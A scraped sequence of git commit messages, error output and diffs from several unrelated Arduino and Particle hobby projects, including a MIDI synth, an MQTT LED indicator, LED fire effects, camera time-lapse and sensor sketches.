* Needs more intelligent channel switching

error: pathspec 'examples/OPL2_Teensy_Midi/OPL2_Teensy_Midi.ino' did not match any file(s) known to git

--- examples/OPL2_Teensy_Midi/OPL2_Teensy_Midi.ino
+++ examples/OPL2_Teensy_Midi/OPL2_Teensy_Midi.ino
@@ -0,0 +1,91 @@
+#include <SPI.h>
+#include <OPL2.h>
+#include <midi_instruments.h>
+
+#define MIDI_CHANNELS 16
+#define OPL2_CHANNELS 9
+
+const unsigned char *instruments[] = {
+  PIANO1, PIANO2, PIANO3, HONKTONK, EP1, EP2, HARPSIC, CLAVIC, CELESTA, GLOCK, MUSICBOX, VIBES, MARIMBA, XYLO, TUBEBELL, SANTUR,
+  ORGAN1, ORGAN2, ORGAN3, PIPEORG, REEDORG, ACORDIAN, HARMONIC, BANDNEON, NYLONGT, STEELGT, JAZZGT, CLEANGT, MUTEGT, OVERDGT, DISTGT, GTHARMS,
+  ACOUBASS, FINGBASS, PICKBASS, FRETLESS, SLAPBAS1, SLAPBAS2, SYNBASS1, SYNBASS2, VIOLIN, VIOLA, CELLO, CONTRAB, TREMSTR, PIZZ, HARP, TIMPANI,
+  STRINGS, SLOWSTR, SYNSTR1, SYNSTR2, CHOIR, OOHS, SYNVOX, ORCHIT, TRUMPET, TROMBONE, TUBA, MUTETRP, FRHORN, BRASS1, SYNBRAS1, SYNBRAS2,
+  SOPSAX, ALTOSAX, TENSAX, BARISAX, OBOE, ENGLHORN, BASSOON, CLARINET, PICCOLO, FLUTE1, RECORDER, PANFLUTE, BOTTLEB, SHAKU, WHISTLE, OCARINA,
+  SQUARWAV, SAWWAV, SYNCALLI, CHIFLEAD, CHARANG, SOLOVOX, FIFTHSAW, BASSLEAD, FANTASIA, WARMPAD, POLYSYN, SPACEVOX, BOWEDGLS, METALPAD, HALOPAD, SWEEPPAD,
+  ICERAIN, SOUNDTRK, CRYSTAL, ATMOSPH, BRIGHT, GOBLIN, ECHODROP, STARTHEM, SITAR, BANJO, SHAMISEN, KOTO, KALIMBA, BAGPIPE, FIDDLE, SHANNAI,
+  TINKLBEL, AGOGO, STEELDRM, WOODBLOK, TAIKO, MELOTOM, SYNDRUM, REVRSCYM, FRETNOIS, BRTHNOIS, SEASHORE, BIRDS, TELEPHON, HELICOPT, APPLAUSE
+};
+
+struct ChannelMapping {
+  byte midiChannel;
+  byte midiNote;
+};
+
+
+OPL2 opl2;
+ChannelMapping channelMap[OPL2_CHANNELS];
+byte programMap[MIDI_CHANNELS];
+
+void setup() {
+  Serial.begin(115200);
+
+  usbMIDI.setHandleNoteOn(onNoteOn);
+  usbMIDI.setHandleNoteOff(onNoteOff);
+  usbMIDI.setHandleProgramChange(onProgramChange);
+
+  opl2.init();
+  for (byte i = 0; i < OPL2_CHANNELS; i ++) {
+    opl2.setInstrument(i, PIANO1);
+  }
+
+  for (byte i = 0; i < MIDI_CHANNELS; i ++) {
+    programMap[i] = 0;
+  }
+}
+
+
+void loop() {
+  usbMIDI.read();
+}
+
+
+void onNoteOn(byte channel, byte note, byte velocity) {
+  if (channel == 10) return;
+
+  for (byte i = 0; i < OPL2_CHANNELS; i ++) {
+    if (!opl2.getKeyOn(i)) {
+      channelMap[i].midiChannel = channel;
+      channelMap[i].midiNote    = note;
+
+      note = max(24, min(note, 119));
+      byte opl2Octave = 1 + (note - 24) / 12;
+      byte opl2Note   = note % 12;
+      byte opl2Volume = ~(velocity >> 1);
+
+      opl2.setInstrument(i, instruments[programMap[channel]]);
+      opl2.setVolume(i, OPERATOR1, opl2Volume);
+      opl2.setVolume(i, OPERATOR2, opl2Volume);
+      opl2.playNote(i, opl2Octave, opl2Note);
+
+      break;
+    }
+  }
+}
+
+
+void onNoteOff(byte channel, byte note, byte velocity) {
+  for (byte i = 0; i < OPL2_CHANNELS; i ++) {
+    if (channelMap[i].midiChannel == channel && channelMap[i].midiNote == note) {
+      channelMap[i].midiChannel = 255;
+      channelMap[i].midiNote    = 255;
+      opl2.setKeyOn(i, false);
+      break;
+    }
+  }
+}
+
+
+void onProgramChange(byte channel, byte program) {
+  programMap[channel] = program;
+}
+


updated version

updated version

--- Firmware/BinaryEpochClock/BinaryEpochClock.ino
+++ Firmware/BinaryEpochClock/BinaryEpochClock.ino
@@ -1,7 +1,9 @@
 /*
-Version 1.0
-Copyright (c) 2013 Adam Haile & Dan Ternes.  All right reserved.
+Version 1.1
+Copyright (c) 2013 Adam Haile, Dan Ternes & Miles Grubbs.  All right reserved.
 http://ManiacalLabs.com
+
+Many Thanks to Adafruit and Josh Ward (Kredal) for some of the code contained within.
 */

 /*


Create ver3.ino

Create ver3.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Electroscholars/LineFollower.git/'


Initial version of message waiting indicator

Listens on MQTT topic for messages indicating if a message
is waiting or not.  If there is a message waiting blinks an
LED at a regular interval.

error: pathspec 'MessageWaiingIndicator/MessageWaiingIndicator.ino' did not match any file(s) known to git

--- MessageWaiingIndicator/MessageWaiingIndicator.ino
+++ MessageWaiingIndicator/MessageWaiingIndicator.ino
@@ -0,0 +1,77 @@
+#include <ESP8266WiFi.h>
+#include <PubSubClient.h>
+#include <Wire.h>
+
+// device specifics
+#include "WirelessConfig.h"
+
+#define BLINK_INTERVAL_SECONDS 1
+#define LED_PIN D6
+#define MESSAGE_WAITING_TOPIC "phone/messageWaiting"
+
+IPAddress server(mqttServer[0], mqttServer[1],
+                 mqttServer[2], mqttServer[3]);
+
+WiFiClient wclient;
+ESP8266WiFiGenericClass wifi;
+PubSubClient client(wclient, server);
+
+boolean messageWaiting;
+boolean ledOn;
+
+void callback(const MQTT::Publish& pub) {
+  if(0 == strcmp(pub.payload_string().c_str(), "1")) {
+    messageWaiting = true;
+  } else {
+    messageWaiting = false;
+  }
+}
+
+void setup() {
+  pinMode(LED_PIN, OUTPUT);
+  digitalWrite(LED_PIN, LOW);
+  messageWaiting = false;
+  ledOn = false;
+
+  Serial.begin(115200);
+  Serial.println("starting");
+
+  // turn of the Access Point as we are not using it
+  wifi.mode(WIFI_STA);
+
+  client.set_callback(callback);
+}
+
+
+void loop() {
+  client.loop();
+
+  // make sure we are good for wifi
+  if (WiFi.status() != WL_CONNECTED) {
+    Serial.print("Connecting to ");
+    Serial.println(ssid);
+    WiFi.begin(ssid, pass);
+
+    if (WiFi.waitForConnectResult() != WL_CONNECTED) {
+      return;
+    }
+    Serial.println("WiFi connected");
+  }
+
+  if (!client.connected()) {
+    if (client.connect("sensclient")) {
+      client.subscribe(MESSAGE_WAITING_TOPIC);
+    }
+  }
+
+  if ((true == messageWaiting) && (false == ledOn)) {
+    digitalWrite(LED_PIN, HIGH);
+    ledOn = true;
+  } else {
+    digitalWrite(LED_PIN, LOW);
+    ledOn = false;
+  }
+
+  delay(BLINK_INTERVAL_SECONDS * 1000);
+
+}


Asservissement moteur: update caracterisationVitessePWM

error: pathspec 'Module' did not match any file(s) known to git
error: pathspec 'Moteur/Software/Asservissement/CaracterisationVitessePWM/CaracterisationVitessePWM.ino' did not match any file(s) known to git


Delete Arduino-DHT22-MySQL-Node.ino

Delete Arduino-DHT22-MySQL-Node.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/lafontas/Smart-Home.git/'


Adding Fire2012WithPalette example

Adding Fire2012WithPalette example

error: pathspec 'examples/Fire2012WithPalette/Fire2012WithPalette.ino' did not match any file(s) known to git

--- examples/Fire2012WithPalette/Fire2012WithPalette.ino
+++ examples/Fire2012WithPalette/Fire2012WithPalette.ino
@@ -0,0 +1,155 @@
+#include <FastLED.h>
+
+#define LED_PIN     5
+#define COLOR_ORDER GRB
+#define CHIPSET     WS2811
+#define NUM_LEDS    30
+
+#define BRIGHTNESS  200
+#define FRAMES_PER_SECOND 60
+
+CRGB leds[NUM_LEDS];
+
+// Fire2012 with programmable Color Palette
+//
+// This code is the same fire simulation as the original "Fire2012",
+// but each heat cell's temperature is translated to color through a FastLED
+// programmable color palette, instead of through the "HeatColor(...)" function.
+//
+// Four different static color palettes are provided here, plus one dynamic one.
+//
+// The three static ones are:
+//   1. the FastLED built-in HeatColors_p -- this is the default, and it looks
+//      pretty much exactly like the original Fire2012.
+//
+//  To use any of the other palettes below, just "uncomment" the corresponding code.
+//
+//   2. a gradient from black to red to yellow to white, which is
+//      visually similar to the HeatColors_p, and helps to illustrate
+//      what the 'heat colors' palette is actually doing,
+//   3. a similar gradient, but in blue colors rather than red ones,
+//      i.e. from black to blue to aqua to white, which results in
+//      an "icy blue" fire effect,
+//   4. a simplified three-step gradient, from black to red to white, just to show
+//      that these gradients need not have four components; two or
+//      three are possible, too, even if they don't look quite as nice for fire.
+//
+// The dynamic palette shows how you can change the basic 'hue' of the
+// color palette every time through the loop, producing "rainbow fire".
+
+CRGBPalette16 gPal;
+
+void setup() {
+  delay(3000); // sanity delay
+  FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );
+  FastLED.setBrightness( BRIGHTNESS );
+
+  // This first palette is the basic 'black body radiation' colors,
+  // which run from black to red to bright yellow to white.
+  gPal = HeatColors_p;
+
+  // These are other ways to set up the color palette for the 'fire'.
+  // First, a gradient from black to red to yellow to white -- similar to HeatColors_p
+  //   gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::Yellow, CRGB::White);
+
+  // Second, this palette is like the heat colors, but blue/aqua instead of red/yellow
+  //   gPal = CRGBPalette16( CRGB::Black, CRGB::Blue, CRGB::Aqua,  CRGB::White);
+
+  // Third, here's a simpler, three-step gradient, from black to red to white
+  //   gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::White);
+
+}
+
+void loop()
+{
+  // Add entropy to random number generator; we use a lot of it.
+  random16_add_entropy( random());
+
+  // Fourth, the most sophisticated: this one sets up a new palette every
+  // time through the loop, based on a hue that changes every time.
+  // The palette is a gradient from black, to a dark color based on the hue,
+  // to a light color based on the hue, to white.
+  //
+  //   static uint8_t hue = 0;
+  //   hue++;
+  //   CRGB darkcolor  = CHSV(hue,255,192); // pure hue, three-quarters brightness
+  //   CRGB lightcolor = CHSV(hue,128,255); // half 'whitened', full brightness
+  //   gPal = CRGBPalette16( CRGB::Black, darkcolor, lightcolor, CRGB::White);
+
+
+  Fire2012WithPalette(); // run simulation frame, using palette colors
+
+  FastLED.show(); // display this frame
+  FastLED.delay(1000 / FRAMES_PER_SECOND);
+}
+
+
+// Fire2012 by Mark Kriegsman, July 2012
+// as part of "Five Elements" shown here: http://youtu.be/knWiGsmgycY
+////
+// This basic one-dimensional 'fire' simulation works roughly as follows:
+// There's a underlying array of 'heat' cells, that model the temperature
+// at each point along the line.  Every cycle through the simulation,
+// four steps are performed:
+//  1) All cells cool down a little bit, losing heat to the air
+//  2) The heat from each cell drifts 'up' and diffuses a little
+//  3) Sometimes randomly new 'sparks' of heat are added at the bottom
+//  4) The heat from each cell is rendered as a color into the leds array
+//     The heat-to-color mapping uses a black-body radiation approximation.
+//
+// Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).
+//
+// This simulation scales it self a bit depending on NUM_LEDS; it should look
+// "OK" on anywhere from 20 to 100 LEDs without too much tweaking.
+//
+// I recommend running this simulation at anywhere from 30-100 frames per second,
+// meaning an interframe delay of about 10-35 milliseconds.
+//
+// Looks best on a high-density LED setup (60+ pixels/meter).
+//
+//
+// There are two main parameters you can play with to control the look and
+// feel of your fire: COOLING (used in step 1 above), and SPARKING (used
+// in step 3 above).
+//
+// COOLING: How much does the air cool as it rises?
+// Less cooling = taller flames.  More cooling = shorter flames.
+// Default 55, suggested range 20-100
+#define COOLING  55
+
+// SPARKING: What chance (out of 255) is there that a new spark will be lit?
+// Higher chance = more roaring fire.  Lower chance = more flickery fire.
+// Default 120, suggested range 50-200.
+#define SPARKING 120
+
+
+void Fire2012WithPalette()
+{
+// Array of temperature readings at each simulation cell
+  static byte heat[NUM_LEDS];
+
+  // Step 1.  Cool down every cell a little
+    for( int i = 0; i < NUM_LEDS; i++) {
+      heat[i] = qsub8( heat[i],  random8(0, ((COOLING * 10) / NUM_LEDS) + 2));
+    }
+
+    // Step 2.  Heat from each cell drifts 'up' and diffuses a little
+    for( int k= NUM_LEDS - 3; k > 0; k--) {
+      heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) / 3;
+    }
+
+    // Step 3.  Randomly ignite new 'sparks' of heat near the bottom
+    if( random8() < SPARKING ) {
+      int y = random8(7);
+      heat[y] = qadd8( heat[y], random8(160,255) );
+    }
+
+    // Step 4.  Map from heat cells to LED colors
+    for( int j = 0; j < NUM_LEDS; j++) {
+      // Scale the heat value from 0-255 down to 0-240
+      // for best results with color palettes.
+      byte colorindex = scale8( heat[j], 240);
+      leds[j] = ColorFromPalette( gPal, colorindex);
+    }
+}
+


Adding Arduino code for basic HTTP Authentication --- at line 80

error: pathspec 'Devices/Generic' did not match any file(s) known to git
error: pathspec 'HTTP' did not match any file(s) known to git
error: pathspec 'Device/ArduinoSample.ino' did not match any file(s) known to git


Display with touch working

Display with touch working

error: pathspec '_4DSystemDispalyBare/_4DSystemDispalyBare.ino' did not match any file(s) known to git

--- _4DSystemDispalyBare/_4DSystemDispalyBare.ino
+++ _4DSystemDispalyBare/_4DSystemDispalyBare.ino
@@ -0,0 +1,74 @@
+#define DisplaySerial Serial
+#define RESETLINE 4
+
+#include "Picaso_Serial_4DLib.h"
+
+#include "Picaso_Const4D.h"
+
+Picaso_Serial_4DLib Display(&DisplaySerial);
+
+void setup()
+{
+
+  pinMode(13,OUTPUT);
+  pinMode(RESETLINE, OUTPUT);  // Set D4 on Arduino to Output (4D Arduino Adaptor V2 - Display Reset)
+  digitalWrite(RESETLINE, 1);  // Reset the Display via D4
+  delay(100);
+  digitalWrite(RESETLINE, 0);  // unReset the Display via D4
+  delay(5000);
+  DisplaySerial.begin(9600) ;
+  Display.TimeLimit4D   = 5000 ; // 5 second timeout on all commands
+  Display.gfx_Cls() ;
+  Display.gfx_ScreenMode(LANDSCAPE) ;
+  Display.putstr("Lunakhod loading...") ;
+//  Serial.begin(9600);
+}
+
+int x;
+int y;
+char cstr[20] ;
+String str;
+void loop()
+{
+  Display.touch_Set(TOUCH_ENABLE) ;
+ // Display.touch_DetectRegion(100,100, 200, 200) ;
+  Display.touch_Set(TOUCH_REGIONDEFAULT) ;
+ // Display.gfx_RectangleFilled(100,100, 200, 200, BLUE) ;
+   //-------------Draw some buttons-------------------------
+//  Display.gfx_RectangleFilled(0,0,19,19,RED);           //
+//  Display.gfx_RectangleFilled(20,0,39,19,ORANGE);       //
+//  Display.gfx_RectangleFilled(40,0,59,19,YELLOW);       //
+//  Display.gfx_RectangleFilled(60,0,79,19,GREEN);        //
+//  Display.gfx_RectangleFilled(80,0,99,19,BLUE);         //
+//  Display.gfx_RectangleFilled(100,0,119,19,INDIGO);     //
+//  Display.gfx_RectangleFilled(120,0,139,19,PINK);       //
+//  Display.gfx_RectangleFilled(140,0,159,19,BROWN);      //
+//  Display.gfx_RectangleFilled(180,0,199,19,BLACK);      //
+//  Display.gfx_RectangleFilled(200,0,219,19,WHITE);      //
+//  Display.gfx_RectangleFilled(220,0,239,19,BLUE);    // display area for current color selection
+//  Display.gfx_Rectangle(260,0,279,19,RED);              //
+  //Display.gfx_Button(OFF,290,0,WHITE,RED,1,1,1,"Clear");   // I wish I how to use these buttons
+  //-------------------------------------------------------
+
+  do {} while (Display.touch_Get(TOUCH_STATUS) != TOUCH_PRESSED);
+  x = Display.touch_Get(TOUCH_GETX);                          // so we can get the first point
+  y = Display.touch_Get(TOUCH_GETY);
+  Display.txt_MoveCursor(1,0);
+  printint(x);
+  Display.txt_MoveCursor(2,0);
+  printint(y);
+//  Display.putstr(cstr) ;
+//  Display.println(cstr) ;
+//  Serial.print("X=");
+//  Serial.print(x);
+//  Serial.print("; Y=");
+//  Serial.println(y);
+  Display.touch_Set(TOUCH_REGIONDEFAULT) ;
+}
+void printint(int val)
+{
+  str = String(val);
+  str.toCharArray(cstr,16);
+
+  Display.putstr(cstr) ;
+}


motion capture output to USB

motion capture output to USB

error: pathspec 'mocap_usbtext/mocap_usbtext.ino' did not match any file(s) known to git

--- mocap_usbtext/mocap_usbtext.ino
+++ mocap_usbtext/mocap_usbtext.ino
@@ -0,0 +1,65 @@
+#include <ahrs.h>
+#include <Wire.h>
+#include <I2Cdev.h>
+#include <LSM9DS0.h>
+
+LSM9DS0 sen;
+boolean connection=false;
+unsigned long time=0;
+
+void setup() {
+  Serial.begin(115200);
+  while (!Serial)
+    ; // wait until somebody is there
+
+  sen.initialize();
+  connection = sen.testConnection();
+  Serial.println(  connection  ? "OK" : "FAILED");
+
+  sen.setGyroFullScale(2000);
+  sen.setGyroOutputDataRate(LSM9DS0_RATE_95);
+  sen.setGyroBandwidthCutOffMode(LSM9DS0_BW_HIGH);
+  sen.setGyroDataFilter(LSM9DS0_LOW_PASS);
+  sen.setFIFOEnabled(false);
+
+  sen.setAccRate(LSM9DS0_ACC_RATE_100);
+  sen.setAccFullScale(LSM9DS0_ACC_2G);
+  sen.setAccAntiAliasFilterBandwidth(LSM9DS0_ACC_FILTER_BW_362);
+
+  sen.setMagFullScale(LSM9DS0_MAG_2_GAUSS);
+  sen.setMagOutputRate(LSM9DS0_M_ODR_50);
+}
+
+#define p(x) Serial.print(x)
+
+void loop() {
+  if (!connection)
+    return;
+
+   time = micros();
+   measurement_t m = sen.getMeasurement();
+   time = micros() - time;
+
+   orientation_t *o =
+       AHRSupdate(m.gx, m.gy, m.gz,
+                  m.ax, m.ay, m.az,
+                  m.mx, m.my, m.mz,
+                  time/1e6);
+
+   if (isnan(o->q0)) { // let's reset
+     o->q0 = 1;
+     o->q1 = o->q2 = o->q3 = 0;
+     o->exInt = o->eyInt = o->ezInt = 0;
+
+//     p(m.gx);p("\t");p(m.gy);p("\t");p(m.gz);p("\t");
+//     p(m.ax);p("\t");p(m.ay);p("\t");p(m.az);p("\t");
+//     p(m.mx);p("\t");p(m.my);p("\t");p(m.mz);p("\n");
+
+     return;
+   }
+
+   p(o->q0); p("\t");
+   p(o->q1); p("\t");
+   p(o->q2); p("\t");
+   p(o->q3); p("\n");
+}


TiltSensor

TiltSensor

Added debouncing code

error: pathspec 'Sensor' did not match any file(s) known to git
error: pathspec 'Modules/Tilt' did not match any file(s) known to git
error: pathspec 'Sensor/TiltSensorATtiny/TiltSensorATtiny.ino' did not match any file(s) known to git


add print to check node address

add print to check node address

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Hinaka/-FPT-CAPSTONE-PGSS.git/'


baud unsetting code

baud unsetting code

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Denzo77/OTRadioLink.git/'


Add 4 camera time elapse demo

Add 4 camera time elapse demo

error: pathspec 'ArduCAM/examples/mini/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD.ino' did not match any file(s) known to git

--- ArduCAM/examples/mini/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD.ino
+++ ArduCAM/examples/mini/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD.ino
@@ -0,0 +1,257 @@
+// ArduCAM demo (C)2015 Lee
+// web: http://www.ArduCAM.com
+// This program is a demo of how to use most of the functions
+// of the library with a supported camera modules, and can run on any Arduino platform.
+//
+// This demo was made for ArduCAM Mini 2MP camera module.
+// It will run 4 ArduCAM Mini 2MP moduels and take time elapse images every 5 seconds.
+// The demo sketch will do the following tasks:
+// 1. Set the sensor to JPEG mode.
+// 2. Capture 4 image from 4 cameras simultaneously and buffer the image to FIFO every 5 seconds
+// 3. Store the image to Micro SD/TF card with JPEG format in sequential.
+// 4. Resolution can be changed by myCAM.set_JPEG_size() function.
+// This program requires the ArduCAM V3.4.0 (or later) library and ArduCAM Mini 2MP shield
+// and use Arduino IDE 1.5.2 compiler or above
+#include <Wire.h>
+#include <ArduCAM.h>
+#include <SPI.h>
+#include <SD.h>///////////
+#include "memorysaver.h"
+/////////////////////////////////
+#define SD_CS 9
+#if defined(__arm__)
+#include <itoa.h>
+#endif
+/////////////////////////////////
+const int CS1 = 4;
+const int CS2 = 5;
+const int CS3 = 6;
+const int CS4 = 7;
+bool cam1 = true, cam2 = true, cam3 = true, cam4 = true;
+
+/////////////////////////////////
+ArduCAM myCAM1(OV2640, CS1);
+ArduCAM myCAM2(OV2640, CS2);
+ArduCAM myCAM3(OV2640, CS3);
+ArduCAM myCAM4(OV2640, CS4);
+
+void setup() {
+  // put your setup code here, to run once:
+  uint8_t vid, pid;
+  uint8_t temp;
+#if defined (__AVR__)
+  Wire.begin();
+#endif
+#if defined(__arm__)
+  Wire1.begin();
+#endif
+  Serial.begin(115200);
+  Serial.println("ArduCAM Start!");
+
+  // set the SPI_CS as an output:
+  pinMode(CS1, OUTPUT);
+  pinMode(CS2, OUTPUT);
+  pinMode(CS3, OUTPUT);
+  pinMode(CS4, OUTPUT);
+
+  // initialize SPI:
+  SPI.begin();
+  //Check if the ArduCAM SPI bus is OK
+  myCAM1.write_reg(ARDUCHIP_TEST1, 0x55);
+  temp = myCAM1.read_reg(ARDUCHIP_TEST1);
+  if (temp != 0x55)
+  {
+    Serial.println("SPI1 interface Error!");
+    cam1 = false;
+    //while(1);
+  }
+
+  myCAM2.write_reg(ARDUCHIP_TEST1, 0x55);
+  temp = myCAM2.read_reg(ARDUCHIP_TEST1);
+  //Serial.println(temp);
+  if (temp != 0x55)
+  {
+    Serial.println("SPI2 interface Error!");
+    cam2 = false;
+    //while(1);
+  }
+
+  myCAM3.write_reg(ARDUCHIP_TEST1, 0x55);
+  temp = myCAM3.read_reg(ARDUCHIP_TEST1);
+  //Serial.println(temp);
+  if (temp != 0x55)
+  {
+    Serial.println("SPI3 interface Error!");
+    cam3 = false;
+    //while(1);
+  }
+
+  myCAM4.write_reg(ARDUCHIP_TEST1, 0x55);
+  temp = myCAM4.read_reg(ARDUCHIP_TEST1);
+  //Serial.println(temp);
+  if (temp != 0x55)
+  {
+    Serial.println("SPI4 interface Error!");
+    cam4 = false;
+    //while(1);
+  }
+
+  //Check if the camera module type is OV2640
+  myCAM1.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);
+  myCAM1.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);
+
+  if ((vid != 0x26) || (pid != 0x42))
+    Serial.println("Can't find OV2640 module!");
+  else
+    Serial.println("OV2640 detected");
+
+  //Change to JPEG capture mode and initialize the OV2640 module
+  myCAM1.set_format(JPEG);
+  myCAM1.InitCAM();
+  myCAM1.OV2640_set_JPEG_size(OV2640_1600x1200);
+  myCAM1.clear_fifo_flag();
+  myCAM1.write_reg(ARDUCHIP_FRAMES, 0x00);
+  ////////////////////////////////////////////////////
+  if (!SD.begin(SD_CS))
+  {
+    //while (1);		//If failed, stop here
+    Serial.println("SD Card Error");
+  }
+  else
+    Serial.println("SD Card detected!");
+  ////////////////////////////////////////////////////
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  uint8_t temp, temp_last;
+  uint8_t start_capture = 0;
+
+  delay(5000);
+
+  myCAM1.flush_fifo();
+  myCAM2.flush_fifo();
+  myCAM3.flush_fifo();
+  myCAM4.flush_fifo();
+  //Clear the capture done flag
+  myCAM1.clear_fifo_flag();
+  //Start capture
+  myCAM1.start_capture();
+  //Clear the capture done flag
+  myCAM2.clear_fifo_flag();
+  //Start capture
+  myCAM2.start_capture();
+  //Clear the capture done flag
+  myCAM3.clear_fifo_flag();
+  //Start capture
+  myCAM3.start_capture();
+  //Clear the capture done flag
+  myCAM4.clear_fifo_flag();
+  //Start capture
+  myCAM4.start_capture();
+
+
+  while (!myCAM1.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam1);
+  if (cam1 == true)
+  {
+    Serial.println("CAM1 Capture Done!");
+    read_fifo_burst(myCAM1);
+    //Clear the capture done flag
+    myCAM1.clear_fifo_flag();
+  }
+
+  while (!myCAM2.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam2);
+  if (cam2 == true)
+  {
+    Serial.println("CAM2 Capture Done!");
+    read_fifo_burst(myCAM2);
+    //Clear the capture done flag
+    myCAM2.clear_fifo_flag();
+  }
+
+  while (!myCAM3.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam3);
+  if (cam3 == true)
+  {
+    Serial.println("CAM3 Capture Done!");
+    read_fifo_burst(myCAM3);
+    //Clear the capture done flag
+    myCAM3.clear_fifo_flag();
+  }
+
+  while (!myCAM4.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam4);
+  if (cam4 == true)
+  {
+    Serial.println("CAM4 Capture Done!");
+    read_fifo_burst(myCAM4);
+    //Clear the capture done flag
+    myCAM4.clear_fifo_flag();
+  }
+}
+
+uint8_t read_fifo_burst(ArduCAM myCAM)
+{
+  uint8_t temp, temp_last;
+  uint32_t length = 0;
+  //////////////////////////////////////////
+  char str[8];
+  File outFile;
+  byte buf[256];
+  static int k = 0;
+  static int i = 0;
+  //////////////////////////////////////////
+  ////////////////////////////////////////////////////
+  //Construct a file name
+  k = k + 1;
+  itoa(k, str, 10);
+  strcat(str, ".jpg");
+  //Open the new file
+  outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);
+  if (! outFile)
+  {
+    Serial.println("open file failed");
+    //return;
+  }
+
+  //////////////////////////////////////////////////
+  length = myCAM.read_fifo_length();
+  if (length >= 393216) //384 kb
+  {
+    Serial.println("Not found the end.");
+    return 0;
+  }
+  //Serial.println(length);
+  i = 0;
+  myCAM.CS_LOW();
+  myCAM.set_fifo_burst();
+  SPI.transfer(0x00);//First byte is 0xC0 ,not 0xff
+
+  ////////////////////////////////////////////////////////
+  while ( (temp != 0xD9) | (temp_last != 0xFF))
+  {
+    temp_last = temp;
+    temp = SPI.transfer(0x00);
+
+    //Write image data to buffer if not full
+    if (i < 256)
+      buf[i++] = temp;
+    else
+    {
+      //Write 256 bytes image data to file
+      myCAM.CS_HIGH();
+      outFile.write(buf, 256);
+      i = 0;
+      buf[i++] = temp;
+      myCAM.CS_LOW();
+      myCAM.set_fifo_burst();
+    }
+  }
+  //Write the remain bytes in the buffer
+  if (i > 0)
+  {
+    myCAM.CS_HIGH();
+    outFile.write(buf, i);
+  }
+  //Close the file
+  outFile.close();
+  ///////////////////////////////////////////////////////
+}


Avancement capteur IR

Avancement capteur IR

error: pathspec 'Pince/Capteur_IR_detection_position/Capteur_IR_detection_position/Capteur_IR_detection_position.ino' did not match any file(s) known to git

--- Pince/Capteur_IR_detection_position/Capteur_IR_detection_position/Capteur_IR_detection_position.ino
+++ Pince/Capteur_IR_detection_position/Capteur_IR_detection_position/Capteur_IR_detection_position.ino
@@ -0,0 +1,51 @@
+/***************** Capteur IR DETECTION POSITION ***********************
+ *
+ * Ce programme permet d'informer la carte maitre
+ * si il y a présence ou non d'un obstacle, ici d'un
+ * cylindre et de déterminer sa position.
+ *
+ ************************************************************/
+//____________________________________________________________________________________________________
+// I2C
+#include <Wire.h>
+#include "i2cCommunication.h"
+
+
+//____________________________________________________________________________________________________
+// I2C
+
+#define _RECEIVEADRESS_ 10
+#define _SENDADRESS_ 11
+
+#include <math.h>
+
+
+int pin_capteur = A0;                   //
+int pin_LED = 13;                       // LED branchée a la pin 13
+int c;
+float d;
+
+
+void setup() {
+  pinMode(pin_LED,OUTPUT);
+  Serial.begin(9600);
+}
+
+void loop() {
+  Serial.println(analogRead(pin_capteur));
+
+    Serial.println("Present alors stop");
+    digitalWrite(pin_LED, HIGH);       // présence donc la led s'allume
+    c=analogRead(pin_capteur);
+    d=exp((c-740)/-198);
+    Serial.println("Distance : ");
+    Serial.print(d);
+    Serial.print("cm");
+    Serial.println("");
+
+
+
+
+
+  delay(50);
+}


Create tinker-x045-solarxbike.ino

Create tinker-x045-solarxbike.ino

Particle kod för alfa tester

error: pathspec 'solarXbike/tinker-x045-solarxbike.ino' did not match any file(s) known to git

--- solarXbike/tinker-x045-solarxbike.ino
+++ solarXbike/tinker-x045-solarxbike.ino
@@ -0,0 +1,146 @@
+PRODUCT_ID(1180);
+PRODUCT_VERSION(1);
+/* Function prototypes -------------------------------------------------------*/
+int tinkerDigitalRead(String pin);
+int tinkerDigitalWrite(String command);
+int tinkerAnalogRead(String pin);
+int tinkerAnalogWrite(String command);
+
+/* This function is called once at start up ----------------------------------*/
+void setup()
+{
+	//Setup the Tinker application here
+
+	//Register all the Tinker functions
+	Spark.function("digitalread", tinkerDigitalRead);
+	Spark.function("digitalwrite", tinkerDigitalWrite);
+	Spark.function("analogread", tinkerAnalogRead);
+	Spark.function("analogwrite", tinkerAnalogWrite);
+
+}
+
+/* This function loops forever --------------------------------------------*/
+void loop()
+{
+	//This will run in a loop
+}
+
+/*******************************************************************************
+ * Function Name  : tinkerDigitalRead
+ * Description    : Reads the digital value of a given pin
+ * Input          : Pin
+ * Output         : None.
+ * Return         : Value of the pin (0 or 1) in INT type
+                    Returns a negative number on failure
+ *******************************************************************************/
